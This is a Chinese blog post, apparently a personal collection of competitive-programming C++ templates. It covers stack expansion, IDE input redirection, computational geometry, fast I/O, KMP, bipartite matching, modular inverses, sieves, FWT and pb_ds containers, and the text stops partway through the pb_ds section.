<p>与其说是不知道,很多人会说“我只是忘记了那个时候在想什么而已。”所以为了不让自己忘记,应该把做过的事情用笔记记录下来。虽然有的时候你根本不了解这种记录有什么意义。</p>
<p>话说回来,在现实里仰望月空,经常会让人觉得它似乎充满了浪漫之色。</p>
080ef6fc-5a61-5079-ada6-ba6b326e22e4ACM模板整理2018-08-16T19:45:10+08:00<p>自用模板。</p>
<!--more-->
<h2 id="姿势">姿势</h2>
<h3 id="手动扩栈">手动扩栈</h3>
<p>g++</p>
<pre class="cpp"><code>int size = 256 << 20; //256M
char* p = (char*)malloc(size) + size;
__asm__("movl %0, %%esp\n" :: "r"(p));</code></pre>
<p>g++ x64</p>
<pre class="cpp"><code>extern void main2() __asm__("main2");
void main2() {
...
exit(0);
}
int main() {
int size = 256 << 20;
__asm__ __volatile__("movq %0, %%rsp\njmp main2"::"r"((char*)malloc(size)+size));
}</code></pre>
<p>c++</p>
<pre class="cpp"><code>#pragma comment(linker, "/STACK:102400000,102400000")</code></pre>
<h3 id="codeblocks输入重定向">Code::Blocks输入重定向</h3>
<p>Windows下</p>
<p>Tools:</p>
<pre><code>Name: redirect input
Executable: cmd.exe
Parameters: /C echo ========BUILDING======== && echo. && g++ -g -Wall -std=c++11 ${ACTIVE_EDITOR_FILENAME} -o ${TARGET_OUTPUT_BASENAME}.exe && echo ========START======== && echo. && ${TARGET_OUTPUT_BASENAME}.exe < in.txt
Working directory: ${PROJECT_DIR}</code></pre>
<p>Linux下</p>
<p>Tools:</p>
<pre><code>Name: redirect input
Executable: bash
Parameters: -c "echo ========BUILDING======== && g++ -g -Wall -std=c++11 ${ACTIVE_EDITOR_FILENAME} -o ${TARGET_OUTPUT_BASENAME}.o && echo ========START======== && ./${TARGET_OUTPUT_BASENAME}.o < in.txt"
Working directory: ${PROJECT_DIR}</code></pre>
<p>设置快捷键: Settings -> Editor -> Keyboard shortcuts</p>
<h2 id="计算几何">计算几何</h2>
<pre class="cpp"><code>#include <cstdio>
#include <algorithm>
#include <cmath>
#include <vector>
#include <cassert>
#include <utility>
namespace Geometry {
using namespace std;
typedef double real; // 需要时可以转为long double
const real EPS = 1e-6; // 精度控制
const real PI = acos((real)-1);
// 浮点数比较
// @param x: 任意实数
// @return 0: x==0, 1: x>0, -1: x<0
int dcmp(real x) {
return (x>EPS) - (x<-EPS);
}
int dcmp(real x, real y) {
return dcmp(x - y);
}
struct Point {
real x, y, z;
int id;
Point(real x = 0, real y = 0, real z = 0) :x(x), y(y), z(z) {}
// 强制转换为real,表示点到原点距离
operator real() const {
return sqrt(x*x + y * y + z * z);
}
// 平面向量与x轴正向夹角
// @return 方向角,(-pi, pi]
real direction() const {
return atan2(y, x);
}
};
typedef Point Vector;
Vector operator+ (Vector a, Vector b) {
return Vector(a.x + b.x, a.y + b.y, a.z + b.z);
}
Vector operator- (Vector a, Vector b) {
return Vector(a.x - b.x, a.y - b.y, a.z - b.z);
}
Vector operator- (Vector a) {
return Vector(-a.x, -a.y, -a.z);
}
Vector operator* (Vector a, real b) {
return Vector(a.x*b, a.y*b, a.z*b);
}
Vector operator* (real a, Vector b) {
return Vector(a*b.x, a*b.y, a*b.z);
}
// 向量点积
real operator* (Vector a, Vector b) {
return a.x*b.x + a.y*b.y + a.z*b.z;
}
Vector operator/ (Vector a, real b) {
return Vector(a.x / b, a.y / b, a.z / b);
}
// 向量叉积
Vector cross(Vector a, Vector b) {
return Vector(a.y*b.z - a.z*b.y, a.z*b.x - a.x*b.z, a.x*b.y - a.y*b.x);
}
// 平面向量叉积的值
real Cross(Vector a, Vector b) {
return a.x*b.y - a.y*b.x;
}
// 向量混合积=axb*c
real mix(Vector a, Vector b, Vector c) {
return cross(a, b)*c;
}
// 绕z轴旋转向量
Vector rotate(Vector v, real theta) {
return Vector(v.x*cos(theta) - v.y*sin(theta), v.x*sin(theta) + v.y*cos(theta), v.z);
}
real distance(Point a, Point b) {
return (real)(a - b);
}
// 平面向量v1->v2的旋转角
// @return (-pi, pi]
real rotAngle(Vector v1, Vector v2) {
real rst = v2.direction() - v1.direction();
if (rst>PI) rst -= PI * 2;
if (rst <= -PI) rst += PI * 2;
return rst;
}
// 向量夹角
// @return [0, pi]
real angle(Vector v1, Vector v2) {
real costheta = v1 * v2 / (real)v1 / (real)v2;
return acos(costheta);
}
// 方向和长度生成向量
Vector zoom(Vector v, real length) {
return v * length / (real)v;
}
// 有向直线,方向为a->b
struct Line {
Point a, b;
Line(Point a = Point(), Point b = Point()) :a(a), b(b) {}
// 方向向量
Vector direction() const {
return b - a;
}
};
// 点到直线距离
real distance(Point p, Line l) {
return abs((real)cross(l.b - l.a, p - l.a)) / real(l.b - l.a);
}
// 两直线位置关系
// @return 0:平行 1:相交 2:异面
int position(Line l1, Line l2) {
Vector v1 = l1.direction(), v2 = l2.direction();
if (dcmp((real)cross(v1, v2)) == 0) return 0;
if (dcmp(mix(l2.a - l1.a, v1, v2)) == 0) return 1;
return 2;
}
// 两直线交点
Point intersect(Line l1, Line l2) {
assert(position(l1, l2) == 1);
Vector c1 = cross(l1.direction(), l2.a - l1.a), c2 = cross(l1.direction(), l2.direction());
real sgn = dcmp(c1*c2)>0 ? -1 : 1;
return l2.a + l2.direction() * (real)c1 / (real)c2 * sgn;
}
// 判断三点共线
bool colinear(Point a, Point b, Point c) {
return dcmp((real)cross(b - a, c - a)) == 0;
}
// 平面点与直线的位置关系
// 0: 在直线上, 1: 点在直线左侧, -1: 点在直线右侧
int position(Point p, Line l) {
return dcmp(Cross(l.b - l.a, p - l.a));
}
// 常用坐标比较函数
bool cmpxyz(Point a, Point b) {
if (dcmp(a.x - b.x) != 0) return a.x<b.x;
else if (dcmp(a.y - b.y) != 0) return a.y<b.y;
else return dcmp(a.z - b.z)<0;
}
// 有向线段
struct Segment {
Point a, b;
Segment(Point a = Point(), Point b = Point()) : a(a), b(b) {}
// 方向向量
Vector direction() const {
return b - a;
}
// 线段长度
operator real() const {
return (real)direction();
}
};
// 点到线段距离
real distance(Point p, Segment seg) {
Vector ap = p - seg.a, bp = p - seg.b;
if (ap*(seg.b - seg.a) <= 0) return (real)ap;
if (bp*(seg.a - seg.b) <= 0) return (real)bp;
return distance(p, Line(seg.a, seg.b));
}
// 点和线段的位置关系
// @return true:在线段上 false:不在
bool position(Point p, Segment seg) {
return dcmp(distance(p, seg)) == 0;
}
// 线段相交,端点处相交也算
bool intersected(Segment a, Segment b) {
if (position(Line(a.a, a.b), Line(b.a, b.b)) != 1) return false;
return dcmp(cross(a.direction(), b.a - a.a)*cross(a.direction(), b.b - a.a)) <= 0 &&
dcmp(cross(b.direction(), a.a - b.a)*cross(b.direction(), a.b - b.a)) <= 0;
}
// 平面简单多边形
struct Polygon2D {
vector<Point> vtx;
// 按逆时针顺序给出顶点
Polygon2D(vector<Point> vertex = vector<Point>()) :vtx(vertex) {}
// 第i条边
// @param i: 0~n-1
Segment side(int i) const {
if (i == vtx.size() - 1) return Segment(vtx[vtx.size() - 1], vtx[0]);
return Segment(vtx[i], vtx[i + 1]);
}
// 面积
real area() const {
real rst = 0;
int sz = vtx.size();
for (int i = 0; i<sz; i++) {
rst += Cross(vtx[i], vtx[(i + 1) % sz]);
}
return rst / 2;
}
// 重心
Point cofg() const {
Point rst;
real ar = 0;
int sz = vtx.size();
for (int i = 0; i<sz; i++) {
real temp = Cross(vtx[i], vtx[(i + 1) % sz]);
rst = rst + (vtx[i] + vtx[(i + 1) % sz])*temp;
ar += temp;
}
return rst / ar / 3.;
}
// 周长
real circumference() const {
real rst = 0;
int sz = vtx.size();
for (int i = 0; i<sz; i++) {
rst += (real)side(i);
}
return rst;
}
// 凸包算法将点按逆时针排序
void arrange() {
sort(vtx.begin(), vtx.end(), cmpxyz);
vector<Point> p;
for (const Point& it : vtx) {
while (p.size() >= 2) {
Line last(p[p.size() - 2], p[p.size() - 1]);
if (position(it, last) == -1) {
p.pop_back();
}
else break;
}
p.push_back(it);
}
for (vector<Point>::const_reverse_iterator it = ++vtx.rbegin(); it != vtx.rend(); ++it) {
while (p.size() >= 2) {
Line last(p[p.size() - 2], p[p.size() - 1]);
if (position(*it, last) == -1) {
p.pop_back();
}
else break;
}
p.push_back(*it);
}
p.pop_back();
vtx = move(p);
}
};
// 点与多边形的位置关系
// @return -1:内 0:上 1:外
int position(Point p, Polygon2D c) {
int n = c.vtx.size();
int cnt = 0;
for (int i = 0; i < n; i++) {
Segment seg = c.side(i);
if (position(p, seg)) return 0;
int k = dcmp(Cross(seg.direction(), p - seg.a));
int d1 = dcmp(seg.a.y, p.y);
int d2 = dcmp(seg.b.y, p.y);
if (k>0 && d1 <= 0 && d2>0) cnt++;
if (k<0 && d2 <= 0 && d1>0) cnt--;
}
if (cnt) return -1;
else return 1;
}
// 平面圆
struct Circle2D {
Point ct;
real r;
Circle2D(Point center = Point(), real radius = 0) :ct(center), r(radius) {}
// 过三点的圆
Circle2D(Point a, Point b, Point c) {
real x1 = a.x, y1 = a.y, x2 = b.x, y2 = b.y, x3 = c.x, y3 = c.y;
real a11 = 2 * (x3 - x2);
real a12 = 2 * (y3 - y2);
real a21 = 2 * (x2 - x1);
real a22 = 2 * (y2 - y1);
real b1 = x3 * x3 - x2 * x2 + y3 * y3 - y2 * y2;
real b2 = x2 * x2 - x1 * x1 + y2 * y2 - y1 * y1;
real d = a11 * a22 - a12 * a21;
real d1 = b1 * a22 - a12 * b2;
real d2 = a11 * b2 - b1 * a21;
ct = Point(d1 / d, d2 / d);
r = distance(a, ct);
}
// 面积
real area() const {
return PI * r*r;
}
// 周长
real circumference() const {
return 2 * PI*r;
}
};
// 点与圆的位置关系
// @return -1:点在圆内 0:点在圆上 1:点在圆外
int position(Point p, Circle2D c) {
return dcmp((real)(p - c.ct), c.r);
}
// 直线与圆的位置关系
// @return -1:相交 0:相切 1:相离
int position(Line l, Circle2D c) {
return dcmp(distance(c.ct, l), c.r);
}
// 两圆的位置关系
// @return 0:内含 1:内切 2:相交 3:外切 4:相离
int position(Circle2D a, Circle2D b) {
real d = distance(a.ct, b.ct);
int cmp1 = dcmp(d, a.r + b.r), cmp2 = dcmp(d, abs(a.r - b.r));
if (cmp1 >= 0) return cmp1 + 3;
else return cmp2 + 1;
}
// 圆与直线交点
pair<Point, Point> intersect(Line l, Circle2D c) {
real x0 = c.ct.x, y0 = c.ct.y, r = c.r;
real x1 = l.a.x, y1 = l.a.y;
real x2 = l.b.x, y2 = l.b.y;
real dx = x2 - x1, dy = y2 - y1;
real A = dx * dx + dy * dy;
real B = 2 * dx*(x1 - x0) + 2 * dy*(y1 - y0);
real C = (x1 - x0)*(x1 - x0) + (y1 - y0)*(y1 - y0) - r * r;
real delta = B * B - 4 * A*C;
delta = max((real)0, delta); // 更好地处理相切情况
real t1 = (-B - sqrt(delta)) / 2 / A;
real t2 = (-B + sqrt(delta)) / 2 / A;
return make_pair(Point(x1 + t1 * dx, y1 + t1 * dy), Point(x1 + t2 * dx, y1 + t2 * dy));
}
// @deprecated
// 平面上凸包
// @return 返回上凸包上的点,从左至右,不包含共线点和重合点
vector<Point> hull2DTop(vector<Point> points) {
sort(points.begin(), points.end(), cmpxyz);
vector<Point> rst;
for (const Point& it : points) {
while (rst.size() >= 2) {
if (position(it, Line(rst[rst.size() - 2], rst[rst.size() - 1])) >= 0) {
rst.pop_back();
}
else
break;
}
rst.push_back(it);
}
return rst;
}
// @deprecated
// 平面下凸包
// @return 返回下凸包上的点,从左至右,不包含共线点和重合点
vector<Point> hull2DBottom(vector<Point> points) {
sort(points.begin(), points.end(), cmpxyz);
vector<Point> rst;
for (const Point& it : points) {
while (rst.size() >= 2) {
if (position(it, Line(rst[rst.size() - 2], rst[rst.size() - 1])) <= 0) {
rst.pop_back();
}
else
break;
}
rst.push_back(it);
}
return rst;
}
// 平面凸包
Polygon2D hull2D(vector<Point> points) {
Polygon2D rst(points);
rst.arrange();
return rst;
}
// 平面,由平面上一点和法向量确定
struct Plane {
Point on;
Vector norm;
Plane(Point on = Point(), Vector normal = Vector()) :on(on), norm(normal) {}
// 三点确定平面
Plane(Point a, Point b, Point c) :on(a), norm(cross(b - a, c - a)) {}
};
// 点到平面距离,注意有正负号
real distance(Point p, Plane alpha) {
return (p - alpha.on)*alpha.norm / (real)alpha.norm;
}
// 点与平面位置关系
// @return 0:在平面内 1:在平面正侧 -1:在平面背侧
int position(Point p, Plane alpha) {
return dcmp((p - alpha.on)*alpha.norm);
}
// 直线与平面位置关系
// @return 0:共面 1:平行 2:相交
int position(Line l, Plane alpha) {
if (dcmp(l.direction()*alpha.norm) == 0) {
if (dcmp((l.a - alpha.on)*alpha.norm) == 0)
return 0;
else
return 1;
}
else
return 2;
}
// 点在平面上的投影
Point projection(Point p, Plane alpha) {
return p - zoom(alpha.norm, distance(p, alpha));
}
// 点在直线上的投影
Point projection(Point p, Line l) {
if (colinear(p, l.a, l.b)) return p;
Vector temp = cross(l.direction(), p - l.a);
Point c = l.a + temp;
Plane A(l.a, l.b, c);
return projection(p, A);
}
// 直线左侧表示半平面
typedef Line HalfPlane;
// 半平面交构成凸多边形
Polygon2D intersect(vector<HalfPlane> hps) {
/* 不保证半平面封闭时添加这些
const real INF = 1e50;
hps.emplace_back(Point(-INF, -INF), Point(INF, -INF));
hps.emplace_back(Point(INF, -INF), Point(INF, INF));
hps.emplace_back(Point(INF, INF), Point(-INF, INF));
hps.emplace_back(Point(-INF, INF), Point(-INF, -INF));
*/
// 极角排序
sort(hps.begin(), hps.end(), [](const HalfPlane& a, const HalfPlane& b) {
if (dcmp(a.direction().direction(), b.direction().direction()) != 0)
return a.direction().direction()<b.direction().direction();
else
return position(a.a, b) == 1;
});
// 极角相同保留左侧那一个
auto uend = unique(hps.begin(), hps.end(), [](const HalfPlane& a, const HalfPlane& b) {
return dcmp(a.direction().direction(), b.direction().direction()) == 0;
});
HalfPlane* que = new HalfPlane[uend - hps.begin()];
HalfPlane* frt = que, *bak = que;
for (auto it = hps.begin(); it != uend; ++it) {
while (bak - frt >= 2) {
if (position(intersect(*(bak - 1), *(bak - 2)), *it) == 1)
break;
else
--bak;
}
while (bak - frt >= 2) {
if (position(intersect(*frt, *(frt + 1)), *it) == 1)
break;
else
++frt;
}
*bak++ = *it;
if (bak - frt >= 2 && position(*(bak - 1), *(bak - 2)) != 1) { delete[] que; return Polygon2D(); }
}
// 最后用队首检查队尾
while (bak - frt >= 2) {
if (position(intersect(*(bak - 1), *(bak - 2)), *frt) == 1)
break;
else
--bak;
}
if (bak - frt <= 2) { delete[] que; return Polygon2D(); }
Polygon2D rst;
int n = bak - frt;
rst.vtx.resize(n);
for (int i = 0; i < n; i++) {
rst.vtx[i] = intersect(frt[i], frt[(i + 1) % n]);
}
delete[] que;
return rst;
}
// *凸*多边形交
Polygon2D intersect(Polygon2D a, Polygon2D b) {
int n1 = a.vtx.size(), n2 = b.vtx.size();
vector<HalfPlane> hps(n1 + n2);
for (int i = 0; i < n1; i++) {
hps[i] = HalfPlane(a.vtx[i], a.vtx[(i + 1) % n1]);
}
for (int i = 0; i < n2; i++) {
hps[n1 + i] = HalfPlane(b.vtx[i], b.vtx[(i + 1) % n2]);
}
return intersect(hps);
}
// 圆的切线
pair<Line, Line> tangent(Point p, Circle2D c) {
real sina = c.r / distance(p, c.ct);
sina = min((real)1, sina); // 更好地处理点在圆上的情况
Vector v = c.ct - p;
Vector v1 = rotate(v, asin(sina));
Vector v2 = rotate(v, -asin(sina));
return make_pair(Line(p, p + v1), Line(p, p + v2));
}
// 圆与顶点在圆心的三角形交的面积
real intersect(Point a, Point b, Circle2D c) {
if (position(a, c) <= 0 && position(b, c) <= 0) {
Vector ca = a - c.ct, cb = b - c.ct;
return abs(Cross(ca, cb)) / 2;
}
else if (position(a, c) <= 0 || position(b, c) <= 0) {
if (position(b, c) <= 0) swap(a, b); // a在内部,b在外部
Vector ca = a - c.ct, cb = b - c.ct;
pair<Point, Point> inter = intersect(Line(a, b), c);
Point d = distance(inter.first, b)<distance(inter.second, b) ? inter.first : inter.second; // 取靠近b的交点
return (abs(Cross(ca, d - c.ct)) + angle(cb, d - c.ct)*c.r*c.r) / 2;
}
else {
if (position(Line(a, b), c) < 0) {
pair<Point, Point> inter = intersect(Line(a, b), c);
Point aa = inter.first, bb = inter.second;
if (distance(a, aa)>distance(a, bb)) swap(aa, bb);
Vector ca = a - c.ct, cb = b - c.ct;
Vector caa = aa - c.ct, cbb = bb - c.ct;
return (abs(Cross(caa, cbb)) + (angle(ca, caa) + angle(cb, cbb))*c.r*c.r) / 2;
}
else {
Vector ca = a - c.ct, cb = b - c.ct;
return angle(ca, cb)*c.r*c.r / 2;
}
}
}
}
using namespace Geometry;</code></pre>
<h2 id="读入输出优化">读入输出优化</h2>
<h3 id="简单版">简单版</h3>
<pre class="cpp"><code>inline char nc() {
static char buf[100000],*p1=buf,*p2=buf;
return p1==p2&&(p2=(p1=buf)+fread(buf,1,sizeof(buf),stdin),p1==p2)?EOF:*p1++;
}
template<typename T> inline void read(T& x) {
char ch;
for(ch=nc();ch<'0'||ch>'9';ch=nc());
for(x=0;ch>='0'&&ch<='9';x=x*10+(ch&0xf),ch=nc());
}
template<typename T> inline bool readEnd(T& x) {
char ch;
for(ch=nc();(ch<'0'||ch>'9')&&ch!=EOF;ch=nc());
if(ch==EOF) return false;
for(x=0;ch>='0'&&ch<='9';x=x*10+(ch&0xf),ch=nc());
return true;
}
template<typename T> inline void readMore(T& x) {
char ch; int sgn=1, k=0;
for(ch=nc();ch<'0'||ch>'9';ch=='-'&&(sgn=-1),ch=nc());
for(x=0;ch>='0'&&ch<='9'||ch=='.';ch=='.'&&(k=1)||(x=x*10+(ch&0xf),k*=10),ch=nc());
x*=sgn; if(k)x/=k;
}</code></pre>
<h3 id="复杂版">复杂版</h3>
<pre class="cpp"><code>class IO {
private:
static const int IO_BUFF_SIZE = 1e6;
char buf[IO_BUFF_SIZE], *p, *q;
char outBuf[IO_BUFF_SIZE], *pOut;
inline void flushOut() {
fwrite(outBuf, 1, pOut - outBuf, stdout);
pOut = outBuf;
}
static inline bool blank(char ch) {
return ch == ' ' || ch == '\n' || ch == '\t' || ch == '\r';
}
public:
IO() :p(buf), q(buf), pOut(outBuf) {}
~IO() { flushOut(); }
inline bool next(char& ch) {
if (p == q) {
p = buf;
q = buf + fread(buf, 1, IO_BUFF_SIZE, stdin);
if (q == buf) return false;
}
ch = *p++;
return true;
}
inline bool next(char* str) {
char ch = ' ';
while (next(ch) && blank(ch));
if (blank(ch)) return false;
for (*str++ = ch; next(*str) && !blank(*str); ++str);
*str = '\0';
return true;
}
template<typename T>
inline bool nextNum(T& x) {
char ch = '\0';
int sgn = 1, k=0;
while (next(ch) && !isdigit(ch)) if(ch=='-') sgn = -1;
if (!isdigit(ch)) return false;
for (x = ch & 0xf; next(ch) && (isdigit(ch) || ch == '.'); ) {
if(ch=='.') k=1;
else {x = x * 10 + (ch & 0xf); k*=10;}
}
if(k) x/=k;
x*=sgn;
return true;
}
template<typename T>
inline bool next(T& x) {
char ch = '\0';
while (next(ch) && !isdigit(ch));
if (!isdigit(ch)) return false;
for (x = ch & 0xf; next(ch) && isdigit(ch); x = x * 10 + (ch & 0xf));
return true;
}
inline void print(char ch) {
*pOut++ = ch;
if (outBuf + IO_BUFF_SIZE == pOut) {
flushOut();
}
}
inline void print(const char* str) {
while (*str) print(*str++);
}
inline void print(char* str) {
while (*str) print(*str++);
}
template<typename T>
inline void print(T x) {
if (x < 0) { print('-'); x = -x; }
if (x >= 10) print(x / 10);
print((char)(x % 10 | 0x30));
}
template<typename T>
inline void println(T x) {
print(x);
print('\n');
}
} io;</code></pre>
<h2 id="kmp">KMP</h2>
<pre class="cpp"><code>#include <cstdio>
#include <cstring>
int ns, nss;
char s[10001], ss[1000001];
int Next[10001], fail[10001];
void makeNext() {
int k = 0;
for (int i = 1; i <= ns; i++) {
Next[i] = k;
fail[i] = s[i]==s[k]?fail[k]:k;
while (k && s[i] != s[k])
k = fail[k];
if (s[i] == s[k])
k++;
}
}
// 可重叠查找
int match() {
int rst = 0;
int j = 0;
for (int i = 0; i < nss; i++) {
while (j && ss[i] != s[j])
j = fail[j];
if (ss[i] == s[j]) {
j++;
if (j == ns) {
rst++;
}
}
}
return rst;
}
// 循环节长度
int repetend() {
int len = ns-Next[ns];
return ns%len?ns:len;
}
int main() {
int T;
scanf("%d", &T);
while (T--) {
scanf("%s%s", s, ss);
ns = strlen(s);
nss = strlen(ss);
makeNext();
printf("%d\n", match());
}
return 0;
}</code></pre>
<h2 id="hungary">Hungary</h2>
<pre class="cpp"><code>/// HDU 2444
#include <cstdio>
#include <algorithm>
#include <cstring>
using namespace std;
const int MAXN = 210;
int n,m;
struct {
int v, next;
} e[MAXN*MAXN];
int head[MAXN], coe;
int type[MAXN];
int x[MAXN], nx, y[MAXN], ny;
int match[MAXN]; // i 匹配 match[i]
bool inchain[MAXN]; // hungary的vis,交替链是否搜索了y中某个点
void addEdge(int u, int v) {
e[coe].v = v;
e[coe].next = head[u];
head[u] = coe++;
}
bool dfs(int u, int t) {
type[u] = t;
if(t==1) x[nx++] = u;
else y[ny++] = u;
for(int i=head[u]; i!=-1; i=e[i].next) {
int v = e[i].v;
if(type[v]==type[u])
return false;
if(!type[v]) {
if(!dfs(v, -t))
return false;
}
}
return true;
}
bool divide() {
memset(type, 0, sizeof type);
nx = ny = 0;
for(int i=1; i<=n; i++) {
if(!type[i]) {
if(!dfs(i, 1))
return false;
}
}
return true;
}
bool hgrdfs(int u) {
for(int i=head[u]; i!=-1; i=e[i].next) {
int v = e[i].v;
if(!inchain[v]) {
inchain[v] = true;
if(match[v] == -1 || hgrdfs(match[v])) {
// 找到增广路,替换增广路的两种边
match[v] = u;
match[u] = v;
return true;
}
}
}
return false;
}
int hungary() {
int rst = 0;
memset(match, -1, sizeof match);
for(int i=0; i<nx; i++) {
int u = x[i];
if(match[u]==-1) {
memset(inchain, 0, sizeof inchain);
if(hgrdfs(u))
rst++;
}
}
return rst;
}
int main() {
while(scanf("%d%d", &n, &m)==2) {
memset(head, -1, sizeof head);
coe = 0;
for(int i=0; i<m; i++) {
int a,b;
scanf("%d%d", &a, &b);
addEdge(a,b);
addEdge(b,a);
}
if(!divide()) {
puts("No");
}
else {
printf("%d\n", hungary());
}
}
return 0;
}</code></pre>
<h2 id="逆元">逆元</h2>
<h3 id="扩展欧几里得">扩展欧几里得</h3>
<p>要求a与mod互质。</p>
<pre class="cpp"><code>// ax+by=gcd(a,b)
LL exgcd(LL a, LL b, LL& x, LL& y) {
if(b==0) {
x=1; y=0;
return a;
}
else {
LL g = exgcd(b, a%b, y, x);
y-=a/b*x;
return g;
}
}
LL inverse(LL a) {
LL x,y;
exgcd(a, MOD, x, y);
return (x+MOD)%MOD;
}</code></pre>
<h3 id="费马小定理">费马小定理</h3>
<p>要求mod为质数。</p>
<pre class="cpp"><code>fastPow(a, MOD-2);</code></pre>
<h3 id="线性递推">线性递推</h3>
<p>要求mod为质数。</p>
<pre class="cpp"><code>LL inv[MAXN];
void makeInv() {
inv[1] = 1;
for(int i=2; i<MAXN; i++) {
inv[i] = inv[MOD%i]*(MOD-MOD/i)%MOD;
}
}</code></pre>
<h3 id="线性求阶乘的逆元">线性求阶乘的逆元</h3>
<pre class="cpp"><code>LL fac[MAXN], invfac[MAXN];
void makeFac() {
fac[0] = 1;
for(int i=1; i<MAXN; i++) {
fac[i] = fac[i-1]*i%MOD;
}
invfac[MAXN-1] = fastPow(fac[MAXN-1], MOD-2); // 使用费马小定理要求MOD是质数
for(int i=MAXN-2; i>=0; i--) {
invfac[i] = invfac[i+1]*(i+1)%MOD;
}
}</code></pre>
<h2 id="线性筛同时求质数欧拉函数莫比乌斯函数莫比乌斯函数前缀和">线性筛同时求质数、欧拉函数、莫比乌斯函数、莫比乌斯函数前缀和</h2>
<pre class="cpp"><code>int np;
LL prime[MAXN], phi[MAXN], mu[MAXN], smu[MAXN];
bool notp[MAXN];
void linearSieve() {
mu[1] = smu[1] = phi[1] = 1;
for (int i = 2; i < MAXN; i++) {
if (!notp[i]) {
prime[np++] = i;
mu[i] = -1;
phi[i] = i-1;
}
for (int j = 0; j < np; j++) {
if(i*prime[j]>=MAXN) break;
notp[i*prime[j]] = true;
if (i%prime[j] == 0) {
mu[i*prime[j]] = 0;
phi[i*prime[j]] = phi[i]*prime[j];
break;
}
else {
mu[i*prime[j]] = -mu[i];
phi[i*prime[j]] = phi[i]*(prime[j]-1);
}
}
smu[i] = smu[i-1]+mu[i];
}
}</code></pre>
<h2 id="leq-x-leq-n-1-leq-y-leq-m-gcdxyk的个数"><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>x</mi><mo>≤</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">1 \leq x \leq n</annotation></semantics></math>, <math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>y</mi><mo>≤</mo><mi>m</mi></mrow><annotation encoding="application/x-tex">1 \leq y \leq m</annotation></semantics></math>, <math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mi>c</mi><mi>d</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>x</mi><mo>,</mo><mi>y</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">gcd(x,y)=k</annotation></semantics></math>的个数</h2>
<pre class="cpp"><code>LL nGcdEqK(LL n, LL m, LL k) {
n/=k; m/=k;
LL last, rst = 0;
for (LL i = 1; i <= n && i <= m; i = last + 1) {
last = min(n/(n/i), m/(m/i));
rst += (n/i)*(m/i)%p*(smu[last]-smu[i-1])%p;
rst %= p;
}
return rst;
}</code></pre>
<h2 id="fwt">FWT</h2>
<p>快速沃尔什变换,计算<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>i</mi></msub><mo>=</mo><msub><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mi>j</mi><mo>⨁</mo><mi>k</mi></mrow></msub><mrow><msub><mi>A</mi><mi>j</mi></msub><mo>×</mo><msub><mi>B</mi><mi>k</mi></msub></mrow></mrow><annotation encoding="application/x-tex">C_i=\sum_{i=j \bigoplus k}{A_j \times B_k}</annotation></semantics></math>,其中“<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mo>⨁</mo><annotation encoding="application/x-tex">\bigoplus</annotation></semantics></math>”为按位与、按位或或按位异或,“<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mo>×</mo><annotation encoding="application/x-tex">\times</annotation></semantics></math>”就是普通乘法。</p>
<p>注意要把n补到大于最大下标的2的整次幂,因为8|7=15,所以补到8是不够的,要补到16。</p>
<pre class="cpp"><code>void FWT(LL a[],int n)
{
for(int d=1;d<n;d<<=1)
for(int m=d<<1,i=0;i<n;i+=m)
for(int j=0;j<d;j++)
{
LL x=a[i+j],y=a[i+j+d];
//xor:a[i+j]=x+y,a[i+j+d]=x-y;
//and:a[i+j]=x+y;
//or:a[i+j+d]=x+y;
}
}
void UFWT(LL a[],int n)
{
for(int d=1;d<n;d<<=1)
for(int m=d<<1,i=0;i<n;i+=m)
for(int j=0;j<d;j++)
{
LL x=a[i+j],y=a[i+j+d];
//xor:a[i+j]=(x+y)/2,a[i+j+d]=(x-y)/2;
//and:a[i+j]=x-y;
//or:a[i+j+d]=y-x;
}
}
void solve(LL a[], LL b[], int n)
{
FWT(a,n);
FWT(b,n);
for(int i=0;i<n;i++) a[i]=a[i]*b[i];
UFWT(a,n);
}</code></pre>
<h2 id="pb_ds库">pb_ds库</h2>
<h3 id="priority_queue">priority_queue</h3>
<pre class="cpp"><code>#include <cstdio>
#include <ext/pb_ds/priority_queue.hpp>
using namespace std;
/*
__gnu_pbds::priority_queue<element_type, cmp=std::less<>, heap_tag=pairing_heap_tag>
binary_heap_tag 二叉堆
binomial_heap_tag 二项堆
rc_binomial_heap_tag
pairing_heap_tag 配对堆
thin_heap_tag
五种操作:push、pop、modify、erase、join
pairing_heap_tag:push和joinO(1),其余均摊O(logn)
binary_heap_tag:只支持push和pop,均为均摊O(logn)
binomial_heap_tag:push为均摊O(1),其余为O(logn)
rc_binomial_heap_tag:push为O(1),其余为O(logn)
thin_heap_tag:push为O(1),不支持join,其余为O(logn);但是如果只有increase_key,modify均摊O(1)
不支持不是不能用,而是用起来很慢
经过实践检测得到的结论:
Dijkstra算法中应用pairing_heap_tag,速度与手写数据结构相当。
配对堆在绝大多数情况下优于二项堆
只有push,pop和join操作时,二叉堆速度较快
有modify操作时,可以考虑thin_heap_tag或者配对堆,或手写数据结构。
*/
typedef __gnu_pbds::priority_queue<int> Heap;
Heap que;
int main() {
Heap::point_iterator it = que.push(0);
que.push(1); que.push(2);
que.modify(it, 3);
printf("%d\n", que.top());
que.erase(it);
printf("%d\n", que.top());
Heap temp;
temp.push(10);
que.join(temp); // temp合并到que上,然后temp清空,O(logn)
printf("%d\n", que.top());
que.erase(10);
return 0;
}</code></pre>
<h3 id="tree">tree</h3>
<pre class="cpp"><code>#include <cstdio>
#include <ext/pb_ds/assoc_container.hpp>
#include <ext/pb_ds/tree_policy.hpp>
/*
typename Key , typename Mapped ,
typename Cmp_Fn = std :: less <Key >,
typename Tag = rb_tree_tag ,
template <
typename Const_Node_Iterator ,
typename Node_Iterator ,
typename Cmp_Fn_ , typename Allocator_ >
class Node_Update = null_tree_node_update ,
typename Allocator = std :: allocator <char > >
class tree ;
tree的类型,可以是rb_tree_tag,splay_tree_tag,ov_tree_tag
